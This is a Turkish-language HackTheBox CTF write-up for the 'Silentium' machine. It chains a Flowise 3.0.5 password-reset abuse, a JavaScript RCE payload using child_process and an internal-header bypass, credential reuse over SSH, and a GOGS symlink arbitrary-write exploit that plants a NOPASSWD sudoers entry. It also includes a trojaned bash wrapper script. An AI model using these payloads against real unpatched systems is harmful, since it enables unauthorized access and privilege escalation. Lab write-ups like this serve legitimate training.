// CLASSIFIED // OFFENSIVE OPS // YETKİLİ PERSONEL DIŞINA ÇIKMAZ //
SYS ONLINE
SES --------
UPLINK SECURE
COORD --.----°N ---.----°W
----.--.--
--:--:-- UTC
MUCAHIC
// Offensive Operations Division, EST. 2026
HTB / MEDIUM CTF · WRITE-UP Silentium Flowise CVE-2025-59528 CVE-2025-8110 GOGS

HackTheBox Silentium Writeup

Silentium beni bir saatten fazla döndürdü, çuvallattı, tuzağa çekti. Geri dönüp bakınca "ya bu kadar basitti ki" dediğim ama o anda öyle görünmeyen makinelerden. Hem çözüm zincirini hem de bata çıka geçtiğim çıkmaz sokakları yazdım, çünkü gerçek ders bana göre orada. Flowise 3.0.5'in iki CVE'si, bir Mailhog, container ortam değişkenleri, ve GOGS'un sessiz ama zarif bir symlink + API write zafiyeti (CVE-2025-8110).

Operatör
OP-0042 / MUCAHIC
Yayın
2026.05.13
Okuma
~ 16 DK
Dosya ID
MU-W02-SILENTIUM

Silentium'u bitirdik. Ama nasıl bitirdik, orası asıl ilginç. Bu makine beni bir saatten fazla döndürdü, çuvallattı, tuzağa çekti. Geri dönüp bakınca "ya bu kadar basitti ki" diyorum; ama o anda öyle görünmüyordu. O yüzden hem çözüm zincirini hem de nerelerde bata çıka geçtiğimi yazıyorum. Asıl ders bence orada.

// makine: Silentium  |  OS: Linux  |  Zorluk: Medium  |  IP: 10.129.62.9  |  CVE'ler: CVE-2025-58434, CVE-2025-59528, CVE-2025-8110

Keşif: "Tek Port Bile Yeter"

$ nmap -Pn -sV -sC -T4 10.129.62.9

22/tcp  open  ssh    OpenSSH
80/tcp  open  http   nginx

İki port: SSH ve web. SSH'a kör brute-force zaman kaybı, önce web'e bakıyorum. Web sitesi silentium.htb domain'i istiyor. /etc/hosts'a ekleyip açıyorum. Sade bir kurumsal sayfa, dikkat çekici bir şey yok.

Bir domain tek başına sadece bir site sunmak zorunda değil; alt domain olabilir. Bu işin önemli kuralı: bir domain bulunca "başka neler var" diye sormak lazım.

$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
    -H "Host: FUZZ.silentium.htb" -u http://10.129.62.9/ -fw 10

staging.silentium.htb

Tek hit ama yeterli. Açıyorum: Flowise, AI workflow platformu, sürüm 3.0.5. Login sayfası karşılıyor.

Flowise: Şifre Sıfırlama Oyunu

Sürümü görünce önce CVE araştırması. İki ilginç zafiyet çıkıyor:

İlkinden başlıyorum. Fikir: sistemde kayıtlı bir kullanıcı için şifre sıfırlama isteği gönderiyorum. Token normalde e-postayla gönderilir. Ama makinede bir Mailhog servisi var, bu gelen tüm e-postaları yakalayan bir test aracı. Yani token bana değil, Mailhog'a düşüyor; ben de Mailhog'un API'sinden alıyorum.

# sifre sifirlama istegi
$ curl -X POST http://staging.silentium.htb/api/v1/forgot-password \
    -H "Content-Type: application/json" \
    -d '{"user": {"email": "ben@silentium.htb"}}'

# Mailhog API'sinden token oku (port 8025, tunnel uzerinden)
$ curl http://127.0.0.1:18025/api/v2/messages

Token elimde. Yeni şifre set ediyorum:

$ curl -X POST http://staging.silentium.htb/api/v1/reset-password \
    -H "Content-Type: application/json" \
    -d '{"user": {"email": "ben@silentium.htb",
                  "tempToken": "TOKEN",
                  "password": "Pwned123!"}}'
// ilk cuvallama: Login endpoint'ini /api/v1/login sanıyordum, doğrusu Flowise 3.0.5'te /api/v1/auth/login ve format {"email":"...","password":"..."}, username değil email. Bunu JS bundle'ını parse ederek buldum.

Giriş yapıyorum. JWT cookie elimde, Flowise dashboard'unda gibiyim.

RCE: "Root Olarak Çalışıyor musun?"

CVE-2025-59528 şöyle çalışıyor: Flowise'ın Custom MCP Tool node'u, yükleme metodlarını çağırırken sunucu tarafında JavaScript çalıştırıyor. Üstüne x-request-from: internal header'ı kimlik doğrulama katmanını atlıyor. İkisi birleşince keyfi kod çalıştırma.

$ curl -X POST \
    http://staging.silentium.htb/api/v1/node-load-method/customMCP \
    -H "Content-Type: application/json" \
    -H "x-request-from: internal" \
    -b "token=JWT_BURAYA" \
    -d '{
      "nodeData": {
        "inputs": {
          "javascriptFunction": "{x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"KOMUT\",()=>{});return 1;}())}"
        }
      },
      "nodeType": "customMCP"
    }'

Komut çalışıyor. Ama Flowise Docker container içinde; dışarıya direkt bağlantı kuramıyorum. Yani revshell almak için ekstra zıplama lazım. Çözüm: container'ın ortam değişkenlerini okumak. Container'lar konfigürasyonu env variable olarak taşır. env komutunu çalıştırıyorum, çıktıyı Flowise'ın variables API'sine yazıyorum (arka planda SQLite var), oradan okuyorum.

SMTP_PASSWORD=r04D!!_R4ge
FLOWISE_PASSWORD=F1l3_d0ck3r

Container içinde çırılçıplak duran iki şifre. Şimdi bunların biri host'ta da işe yarar mı, ona bakacağız.

SSH: "İnsanlar Şifrelerini Tekrar Kullanıyor"

SMTP şifresi r04D!!_R4ge. Bu Flowise container'ının kendi içindeki bir şifre. Ama host üzerinde ben diye bir kullanıcı var (variables içinde ipucu kıvılcımıydı). Acaba?

$ ssh ben@10.129.62.9
ben@10.129.62.9's password: r04D!!_R4ge

ben@silentium:~$ cat ~/user.txt

Girdi. Çünkü aynı şifre SSH için de kullanılmış. Her CTF'de, her pentest'te aynı senaryo: insanlar şifrelerini tekrar kullanır.

USER FLAG

Çıkmaz Sokaklar: Uzun Yolun Kısa Hikayesi

İşte burada uzun bir yolculuk başladı. Sana önce yanlış gittiğim yolları, sonra doğrusunu anlatacağım. Çünkü gerçek pentest'lerde de saatlerce yanlış kapı çalmak işin yarısı.

İlk keşif: iki ilginç şey

$ find /usr/bin -writable 2>/dev/null
/usr/bin/bash    # dunya yazilabilir

$ systemctl status gogs
Active: running, User=root   # root olarak calisiyor

/usr/bin/bash herkes tarafından yazılabilir. GOGS (Git servisi) root olarak çalışıyor. Bu iki bilgi kafamda birleşti: "GOGS hook'ları bash çalıştırır, bash'i değiştirirsem root kodu çalışır." Ve burada saatler kaybetmeye başladım.

Yanlış yol #1: GOGS'a giriş takıntısı

GOGS'a giriş yapmak için ben kullanıcısının şifresini bilmem gerekiyordu. Flowise API'de bir değişkende "FOUND: ben:staging -> 000" yazıyordu; bunu yanlış yorumlayıp GOGS şifresinin 000 olduğunu zannettim. Değildi. Onlarca varyasyon denedim, captcha çözmeye çalıştım, hiçbiri tutmadı. Sonunda hacker666 adında bir hesap açtım (captcha'yı OCR ile çözmeye çalışarak yaklaşık 47 denemede). Hesap açıldı, ama bu hesabın root için bir hükmü olmadığını sonra göreceğim.

Yanlış yol #2: Bash'i değiştirme felaketi

GOGS hook'ları #!/usr/bin/env bash ile başlıyor. GOGS root çalıştığı için hook da root çalışır. Yani bash'i kötü amaçlı bir script'le değiştirirsem, hook tetiklendiğinde root olarak çalışır. Plan kâğıt üstünde güzel. Python ile /usr/bin/bash'e şunu yazdım:

#!/bin/sh
if [ "\$(id -u)" = "0" ]; then    # bu kosul hep FALSE
    chmod 4755 /tmp/suid_bash
    cat /root/root.txt > /tmp/root_flag.txt
fi
exec /tmp/bash_original "$@"

Git push yaptım, hook tetiklendi, push başarılı döndü. Ama /tmp/root_flag.txt yok. Neden? Python'da b'\$(id -u)' yazdığımda, \$ kaçış dizisi olmadığı için \$(id -u) diye literal backslash-dolar yazılıyor. Shell'de "\$(id -u)" = "$(id -u)" string'i, yani komut çalıştırma değil, sadece düz metin karşılaştırma. Koşul her zaman false döndü. Üstüne bir de /usr/bin/bash'i bir script'e döndürdüğüm için SSH login "Exec format error" vermeye başladı. Kendimi kilitledim.

Yanlış yol #3: Flowise RCE labirenti

SSH çalışmıyor, bash bozuk. Panikleyip Flowise RCE üzerinden devam etmeye çalıştım. Ama Flowise 3.0.5'te listActions metodu subprocess başlatmıyor; sadece "No Available Actions" dönüyor. Saatlerce farklı kombinasyonlar denedim. Agentflow oluşturdum, çalıştırmaya çalıştım, "Cannot read properties of undefined" hatası. Çıkmaz sokak.

Asıl ders şuydu: bash bozulunca durup geri çekilmek, "asıl hangi CVE root verir" diye sormak yerine, mevcut zafiyet üstüne saatler döktüm. Sonra geri döndüm.

Doğru Yol: CVE-2025-8110 (GOGS Symlink)

Geç fark ettim. GOGS 0.13.3'te çok zarif bir zafiyet var: bir git reposuna symlink push edip, sonra o symlink'in hedefine API üzerinden istediğin içeriği yazdırabiliyorsun. GOGS root çalıştığı için, sistem genelinde herhangi bir dosyaya root olarak yazma. Yani gerçek "arbitrary file write as root."

$ python3
>>> import os, base64, json, urllib.request

# 1. yerel repoda symlink olustur
>>> os.symlink('/etc/sudoers.d/ben', 'exploit_link')
# git add exploit_link && git commit && git push

# 2. symlink'in SHA'sini al
# GET /api/v1/repos/owner/repo/contents/exploit_link

# 3. API ile hedef dosyaya yaz
>>> content = base64.b64encode(b"ben ALL=(ALL) NOPASSWD: ALL\n").decode()
# PUT /api/v1/repos/owner/repo/contents/exploit_link
# body: {"content": content, "sha": sha, "message": "exploit"}

GOGS bu PUT isteğini aldığında, symlink'in işaret ettiği /etc/sudoers.d/ben dosyasına root olarak yazıyor. Artık ben şifresiz sudo yapabiliyor.

Aynı yöntemle bozduğum bash'i de düzelttim:

# symlink -> /usr/bin/bash
# icerik: #!/bin/sh\nexec /tmp/bash_original "$@"\n

SSH tekrar çalıştı. Son adım:

$ ssh ben@10.129.62.9
ben@silentium:~$ sudo cat /root/root.txt
ROOT FLAG

Saldırı Zinciri

Nmap
  -> staging.silentium.htb (Flowise 3.0.5)
  -> CVE-2025-58434 forgot-password + Mailhog -> JWT
  -> CVE-2025-59528 JS RCE -> container env
  -> SSH ben:r04D!!_R4ge -> user flag
  -> GOGS root (CVE-2025-8110)
  -> Symlink repo push + API write -> /etc/sudoers.d/ben
  -> sudo cat /root/root.txt -> root flag

Çıkardığım Dersler

1. "staging." subdomain'i her zaman ilgi çeker. Production'da olmayan şeyler orada olur: debug açık, auth zayıf, eski versiyon. Bir domain bulduğunda subdomain fuzz'lamak ucuz ve verimli.

2. Python string kaçışlarına dikkat. b'\$' ile b'$()' aynı şey değil. Test etmeden "çalışır" demek pahalıya patlıyor.

3. Döngüye girince dur ve yeniden başla. Ben bash'i bozunca panikledim ve her şeyi Flowise üzerinden çözmeye çalıştım. Adım adım geri çekilip "asıl CVE ne" diye sorsaydım saatler kazanırdım. Pentest'in en zor anı bu: vazgeçmek değil, yanlış stratejiyi bırakmak.

4. CVE-2025-8110 temiz bir zafiyet. Symlink + API write = arbitrary file write as root. Basit, etkili, yaratıcı. GOGS gibi root çalışan eski git servislerinde bu desen tekrarlanır, akılda kalsın.

5. Aynı şifre aynı anda birden fazla serviste. SMTP şifresi = SSH şifresi. Bu her zaman denemeye değer; insanlar şifre yönetimine inanmıyor.

Zaman ayırıp okuduğun için teşekkürler, hatalarımı paylaşırsan seve seve ders çıkarırım :)

// RAPOR SONU, MUCAHIC / OP-0042 / 2026.05.13